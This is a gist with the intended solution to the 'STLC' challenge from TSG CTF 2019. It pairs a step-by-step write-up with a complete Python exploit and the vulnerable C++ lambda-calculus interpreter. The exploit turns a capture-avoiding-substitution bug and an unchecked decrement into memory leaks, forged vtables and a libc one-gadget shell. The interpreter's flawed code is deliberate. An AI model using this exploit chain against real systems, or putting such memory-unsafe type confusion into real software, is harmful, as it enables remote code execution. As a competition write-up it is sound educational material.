Skip to content

Instantly share code, notes, and snippets.

@satos---jp
Last active May 6, 2019 16:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save satos---jp/e778ac2f3c58cf3f56e8f2e37fd69b84 to your computer and use it in GitHub Desktop.
Save satos---jp/e778ac2f3c58cf3f56e8f2e37fd69b84 to your computer and use it in GitHub Desktop.
The intended solution for "STLC" in the TSG CTF 2019

The intended solution for "STLC" in the TSG CTF 2019

Step 1

When beta reducing, "capture avoiding substitution" is not taken place. For example, the term (\x. \y. x y) y should be reduced to \z. y z by renaming y to z in (\x. \y. x y), but in the interpreter, this term is reduced to \y. y y, which is ill typed lambda term. By exploiting this, the input

f1 = (\f:I->I. \g:A->A. g)
f2 = (\x:(I->I)->(A->A)->A->A. \f1:A->A. x dec) f1 (\d:A. d)

leads to the output

> f1 = (\f:(I->I).(\g:(A->A).g)) :: ((I->I)->((A->A)->(A->A)))
> f2 = dec :: ((A->A)->(A->A))

and as a result, the built in function dec : I -> I is ill typed as dec : (A->A)->(A->A).

Step 2

Roughly, each structure is instantiated as follows:

struct Var : Lambda{
	void* vtable = vtable_Var;
	string var;
}
struct Int : Lambda{
	void* vtable = vtable_Int;
	int var;
}
struct Abs : Lambda{
	void* vtable = vtable_Abs;
	Lambda* body;
	string var;
	Type* ty;
}
struct App : Lambda{
	void* vtable = vtable_App;
	Lambda *expr1,*expr2;
}
struct Decrement : Lambda{
	void* vtable = vtable_Decrement;
}

The Decrement term decrements Int::var part of the applyed term without checking its type. For example, f2 (\x:A.x) changes the value of the Abs::body pointer of (\x:A.x), and leads to crash.

Let's consider a lambda term (\x:A->A. (\y:A. y)). The Var term y is alllocated before the Abs term (\y:A. y), therefore (\x:A->A. (\y:A->A. y)) can be modified to a lambda term (\x:A->A. y) by decrementing the Abs::body pointer repeatedly. Then, by reducing a term (\x:A->A. y) (\z:A. z), we can get an unbound variable term Var y.

The instance of the C++ string type is roughly illustrated as follows:

struct string{
	char* ptr;
	int len;
	char buf[16];
}

Therefore, we can leak the address of the vtable_Var or the heap by repeatedly decrementing Var::var->ptr of the Var y to indicate these addresses.

Step 3

In order to leak a value at arbitraly addresses, preare a dummy Var structure such that:

dummyvar := {
	vtable_Var,
	target_ptr,
	8,
}

Then input (\dummyvar:A. dummyvar) and decrement its body pointer to (\dummyvar:A. fake_Var_structure_represented_by_dummyvar), so that it shows the value at the target_ptr address.

(The input is tokenized by spliting characters in " \t\\=:.()->$", so if the dummyvar contains these characters, you need to retry exploiting. The retly happens appproximately once every twice.)

Step 4

Let one_gadget_rce_address be an One-gadget RCE address in the libc-2.27.so (in my solver, it is libc_base + 0x4f329). Then prepare a dummy vtable and a dummy structure such that:

dummy_vtable := {
	one_gadget_rce_address,
};
dummyvar := {
	&dummy_vtable,
};

With doing the same procedure in step 3, we can set the rip to one_gadget_rce_address. However, the gadget at libc_base + 0x4f329 requires [rsp+0x40]==0 when executed. To meet the condition, I chained the dummy structure as follows, so that the stack address decreases a lot before the execution jumps to one_gadget_rce_address.

dummy_vtable := {
	one_gadget_rce_address,
};
dummyvar1 := {
	&dummy_vtable,
}
dummyvar2 := {
    vtable_Abs,
    &dummyvar1
}
....
dummyvarN := {
    vtable_Abs,
    &dummyvarN-1
}
#coding: utf-8
from socket import *
import time
def addr2b(x):
res = b""
for i in range(size_t):
res += bytes([(x % 256)])
x //= 256
return res
def b2addr(s,blen=None):
if blen is None:
blen = size_t
res = 0
for i in range(blen):
res *= 256
res += s[blen-i-1]
return res
def shell():
while True:
sock.send((input() + '\n').encode(encoding='utf-8'))
print(sock.recv(128).decode('utf-8'))
def getunt(c):
assert type(c) is bytes
res = b""
while res==b'' or res[-len(c):]!=c:
res += sock.recv(1)
return res
fp = open('i.txt','wb')
def send(s):
fp.write(s)
sock.send(s)
isgaibu = False
#isgaibu = True
sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
sock.connect(("gaibu.sa-ba-", 10001))
else:
sock.connect(("localhost", 30007))
size_t = 0x8
d = 48
pay1 = (b"""
f1 = (\\f:I->I. \\g:(A->A)->A->A. g)
f2 = (\\x:(I->I)->((A->A)->A->A)->(A->A)->A->A. \\f1:A->A. x dec) f1 (\\d:A. d)
"""[1:] +
b"subk1 = (\\farg:(A->A)->A->A. " + (b"f2 (" * d) + b"farg" + (b")" * d) + b")\n" +
b"")
send(pay1)
send(b"vf = subk1 (\\victv:A->A. \\dummyhog:A. dummyhog) \n")
send(b"""
f3 = (\\f:I->I. \\g:A->A. g)
f4 = (\\x:(I->I)->(A->A)->A->A. \\f3:A->A. x dec) f3 (\\d:A. d)
"""[1:])
send(b"yav = vf (\\x:A. x)\n")
for t in range(8):
s = getunt(b'> ')
if t != 3:
print(s)
send(b"_1 = " + (b"f4 (" * 16) + b"yav" + (b")" * 16) + b")\n")
s = getunt(b'> ')
yav_addr = b2addr(s[5:][:8])
print(hex(yav_addr))
send(b"_2 = " + (b"f4 (" * 24) + b"yav" + (b")" * 24) + b")\n")
s = getunt(b'> ')
vartable_addr = b2addr(s[5:][:8])
print('vtable_addr',hex(vartable_addr))
dup_cnt = 2
def leak_data(p,blen=8):
global dup_cnt
dup_cnt += 1
d = 48
dummy_struct = addr2b(vartable_addr) + addr2b(p) + addr2b(8)
for c in b" \t\\=:.()->$":
if c in dummy_struct:
print('gacha failed')
exit()
ds = b"dummyreferene"
ds += b'a' * (len(dummy_struct) - len(ds))
#dummy_struct = ds
pay = (b"_%d = " % dup_cnt) + (b"f4 (" * d) + (b"(\\%s:A. %s)" % (dummy_struct,dummy_struct)) + (b")" * d) + b")\n"
#pay = b"_ = (\\" + dummy_struct + b":A. " + dummy_struct + b")\n"
#print('pay',pay)
send(pay)
ts = getunt(b'> ')[7+len(dummy_struct)+3:][:blen]
#print(ts)
ts = b2addr(ts,blen)
print(hex(ts))
return ts
var_str = leak_data(vartable_addr)
exit_jmp = var_str+0x2e40-0x5796
exit_got_addr = leak_data(exit_jmp+2,4) + exit_jmp + 6
print('exit_got_addr',hex(exit_got_addr))
exit_addr = leak_data(exit_got_addr)
print('exit_addr',hex(exit_addr))
libbase = exit_addr - 0x043120
one_gadget_rce = 0xdeadbeef
one_gadget_rce = libbase + 0x4f322
print('RCE',hex(one_gadget_rce))
def check_gatcha(s,isb=0):
for c in b" \t\\=:.()->$":
if c in s:
print('gacha failed')
if isb==1:
return False
exit()
return True
abstable_addr = vartable_addr + 0x5619d11a7950 - 0x5619d11a79d0
print('yav addr',hex(yav_addr))
ogr_addr = yav_addr - 0x55674c357508 + 0x55674c3c8c10
#ogr_addr = 0xdeadbeef
print('oge addr',hex(ogr_addr))
check_gatcha(addr2b(abstable_addr))
check_gatcha(addr2b(ogr_addr))
pay = addr2b(one_gadget_rce)
taddr = ogr_addr
taddr += 8
for i in range(120):
while not check_gatcha(addr2b(taddr),1):
pay += addr2b(0xcafebabe)
taddr += 8
if i == 0:
pay += addr2b(ogr_addr) + addr2b(0)
else:
pay += addr2b(abstable_addr) + addr2b(ogr_addr)
ogr_addr = taddr
taddr += 16
if len(pay)>=120*16*2:
print("sasugani nagai")
exit(0)
else:
pay += b'\x00' * (120*16*2 - len(pay))
send(b"%s = 0\n" % pay)
print(getunt(b'>'))
print('last_ogr_addr',hex(ogr_addr))
def fin():
p = 0xcafebabe
d = 48
dummy_struct = addr2b(abstable_addr) + addr2b(ogr_addr) + addr2b(8)
check_gatcha(dummy_struct)
ds = b"dummyreferene"
ds += b'a' * (len(dummy_struct) - len(ds))
#dummy_struct = ds
pay = b"finfa = " + (b"f4 (" * d) + (b"(\\%s:A. %s)" % (dummy_struct,dummy_struct)) + (b")" * d) + b")\n"
#pay = b"_ = (\\" + dummy_struct + b":A. " + dummy_struct + b")\n"
#print('pay',pay)
send(pay)
shell()
fin()
"""
4f322: 48 8b 05 7f bb 39 00 mov rax,QWORD PTR [rip+0x39bb7f] # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
4f329: 48 8d 3d 6a 4b 16 00 lea rdi,[rip+0x164b6a] # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
4f330: 48 8d 74 24 40 lea rsi,[rsp+0x40]
4f335: c7 05 a1 e2 39 00 00 mov DWORD PTR [rip+0x39e2a1],0x0 # 3ed5e0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
4f33c: 00 00 00
4f33f: c7 05 9b e2 39 00 00 mov DWORD PTR [rip+0x39e29b],0x0 # 3ed5e4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
4f346: 00 00 00
4f349: 48 8b 10 mov rdx,QWORD PTR [rax]
4f34c: e8 df 5a 09 00 call e4e30 <execve@@GLIBC_2.2.5>
"""
typedef map<string,Type*> EnvTy;
struct Lambda{
virtual string str() = 0;
virtual Lambda* subst(string nv,Lambda* la) = 0;
virtual Lambda* copy() = 0;
virtual Lambda* reduce(map<string,Lambda*> env) = 0;
virtual Type* get_type(EnvTy env) = 0;
virtual Lambda* apply(Lambda* la,map<string,Lambda*> env){
cout << "invalid application" << endl;
exit(-1);
}
};
typedef map<string,Lambda*> EnvLam;
struct Var : Lambda{
string var;
Var(string v){ var = v; }
string str(){
return var;
}
Lambda* copy(){
return new Var(var);
}
Lambda* subst(string nv,Lambda* la){
if(nv == var)return la->copy();
else return this->copy();
}
Type* get_type(EnvTy env){
if(env.find(var) == env.end()){
cout << var << " is free variable" << endl;
return NULL;
}
return env[var];
}
Lambda* reduce(EnvLam env){
if(env.find(var) == env.end())return NULL;
return env[var]->copy();
}
};
struct Int : Lambda{
int var;
Int(int v){ var = v; }
string str(){
return to_string(var);
}
Lambda* copy(){
return new Int(var);
}
Lambda* subst(string nv,Lambda* la){
return this->copy();
}
Type* get_type(EnvTy env){
return new TyVar("I");
}
Lambda* reduce(EnvLam env){
return NULL;
}
};
struct Abs : Lambda{
Lambda* body;
string var;
Type* ty;
Abs(string v,Type* t,Lambda* bo){ var = v; ty = t; body = bo; }
string str(){
return "(\\" + var + ":" + ty->str() + "." + body->str() + ")";
}
Lambda* copy(){
return new Abs(var,ty,body->copy());
}
Lambda* subst(string nv,Lambda* la){
if(nv == var)return this->copy();
else return new Abs(var,ty,body->subst(nv,la));
}
Type* get_type(EnvTy env){
EnvTy toenv(env);
toenv[var] = ty;
Type* bt = body->get_type(toenv);
if(bt == NULL)return NULL;
return new TyArrow(ty,bt);
}
Lambda* apply(Lambda* la,EnvLam env){
return body->subst(var,la);
}
Lambda* reduce(EnvLam env){
return NULL;
}
};
struct App : Lambda{
Lambda *expr1,*expr2;
App(Lambda *e1,Lambda *e2){ expr1 = e1; expr2 = e2; }
string str(){
return "(" + expr1->str() + " " + expr2->str() + ")";
}
Lambda* copy(){
return new App(expr1->copy(),expr2->copy());
}
Lambda* subst(string nv,Lambda* la){
return new App(expr1->subst(nv,la),expr2->subst(nv,la));
}
Type* get_type(EnvTy env){
Type* t1 = expr1->get_type(env);
Type* t2 = expr2->get_type(env);
if(t1==NULL || t2==NULL)return NULL;
if(t1->tag == TypeTag::TyTagArrow && ((TyArrow*)t1)->ty1->same(t2)){
return ((TyArrow*)t1)->ty2;
}
else{
cout << "type mismatched for typing " << this->str() << endl;
cout << "with applying " << t1->str() << " to " << t2->str() << endl;
return NULL;
}
}
Lambda* reduce(EnvLam env){
Lambda* te1 = expr1->reduce(env);
if(te1 != NULL){
return new App(te1,expr2);
}
return expr1->apply(expr2,env);
}
};
struct Decrement : Lambda{
Decrement(){}
string str(){
return "dec";
}
Lambda* copy(){
return new Decrement();
}
Lambda* subst(string nv,Lambda* la){
return this->copy();
}
Type* get_type(EnvTy env){
return new TyArrow(new TyVar("I"),new TyVar("I"));
}
Lambda* apply(Lambda* la,EnvLam env){
Lambda* tla = la->reduce(env);
if(tla != NULL){
return new App(this,tla);
}
// if la is value, decrement it.
((Int*)la)->var-=1;
return la;
}
Lambda* reduce(EnvLam env){
return NULL;
}
};
#include<cstdio>
#include<iostream>
#include<cstring>
#include<vector>
#include<string>
#include<algorithm>
#include<map>
#include<cctype>
#include<unistd.h>
using namespace std;
#include "type.h"
#include "lambda.h"
#include "parser.h"
int main(){
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
EnvLam lamenv;
EnvTy tyenv;
lamenv["dec"] = new Decrement();
tyenv["dec"] = lamenv["dec"]->get_type(tyenv);
for(string s;cout << "> ",getline(cin,s);){
string var;
Lambda* la = parse(s,var);
if(la == NULL){
cout << "parse failed" << endl;
continue;
}
if(lamenv.find(var) != lamenv.end()){
cout << var << " is already defined" << endl;
continue;
}
Type* ty = la->get_type(tyenv);
if(ty == NULL){
cout << la->str() << " can't be simply typed" << endl;
continue;
}
for(;;){
//cout << la->str() << endl;
Lambda* tla = la->reduce(lamenv);
if(tla==NULL)break;
la = tla;
}
cout << var << " = " << la->str() << " :: " << ty->str() << endl;
tyenv[var] = ty;
lamenv[var] = la;
}
return 0;
}
vector<string> tokenize(string s){
vector<string> res;
string rem = "";
for(auto c : s){
if(string(" \t\\=:.()->$").find(c) != string::npos){
if(c == '>' && rem == "" && res.back() == "-"){
res.pop_back();
res.push_back("->");
continue;
}
if(rem != "")res.push_back(rem);
rem = "";
if(string(" \t").find(c) == string::npos){
res.push_back(string(1,c));
}
}
else{
rem += c;
}
}
if(rem != "")res.push_back(rem);
//cout << res.size() << endl;
//for(auto d : res){ cout << " , " << d; } cout << endl;
return res;
}
struct token_list{
vector<string> tokens;
unsigned int p;
token_list(vector<string> init){ tokens = init; p=0; }
string front(){
if(p >= tokens.size()){
cerr << "parse error. tokens run out." << endl;
exit(-1);
}
return tokens[p];
}
string pop(){
string res = this->front();
p += 1;
return res;
}
void expect(string s){
string ns = this->pop();
if(ns != s){
cerr << "parse error. expected \"" << s << "\" but got \"" << ns << "\"." << endl;
exit(-1);
}
}
};
Type* parse_type(token_list* tokens){
//cout << "parse_type " << tokens->front() << endl;
vector<Type*> ts;
bool ishead = true;
for(;tokens->front() != ")" && tokens->front() != ".";){
if(ishead)ishead = false;
else tokens->expect("->");
if(tokens->front() == "("){
tokens->pop();
ts.push_back(parse_type(tokens));
tokens->expect(")");
}
else{
ts.push_back(new TyVar(tokens->pop()));
}
}
Type* res = ts.back();
ts.pop_back();
reverse(ts.begin(),ts.end());
for(auto d : ts){
res = new TyArrow(d,res);
}
return res;
}
Lambda* parse_rec(token_list* tokens){
//cout << "parse_rec " << tokens->front() << endl;
if(tokens->front() == "\\"){
tokens->pop();
string var = tokens->pop();
tokens->expect(":");
Type* t = parse_type(tokens);
tokens->expect(".");
Lambda* body = parse_rec(tokens);
return new Abs(var,t,body);
}
else{
Lambda* res = NULL;
for(;tokens->front() != ")";){
Lambda* la;
if(tokens->front() == "("){
tokens->pop();
la = parse_rec(tokens);
tokens->expect(")");
}
else{
string s = tokens->pop();
if(all_of(s.cbegin(),s.cend(),[](unsigned char c){return isdigit(c);})){
la = new Int(stoi(s));
}
else{
la = new Var(s);
}
}
if(res==NULL)res = la;
else{
res = new App(res,la);
}
}
return res;
}
}
Lambda* parse(string ins,string& var){
vector<string> ts = tokenize(ins);
if(ts.size() <= 2 || ts[1] != "="){
return NULL;
}
var = ts[0];
ts.push_back(")");
token_list tokens(ts);
tokens.p += 2;
return parse_rec(&tokens);
}
enum TypeTag{
TyTagVar,
TyTagArrow
};
struct Type{
TypeTag tag;
virtual string str() = 0;
virtual bool same(Type* t) = 0;
};
struct TyVar : Type{
string var;
TyVar(string v){ var = v; tag = TypeTag::TyTagVar; }
string str(){
return var;
}
bool same(Type* t){
return t->tag == tag && ((TyVar*)t)->var == var;
}
};
struct TyArrow : Type{
Type *ty1,*ty2;
TyArrow(Type* t1,Type* t2){ ty1=t1; ty2=t2; tag = TypeTag::TyTagArrow; }
string str(){
return "(" + ty1->str() + "->" + ty2->str() + ")";
}
bool same(Type* t){
return t->tag == tag && ((TyArrow*)t)->ty1->same(ty1) && ((TyArrow*)t)->ty2->same(ty2);
}
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment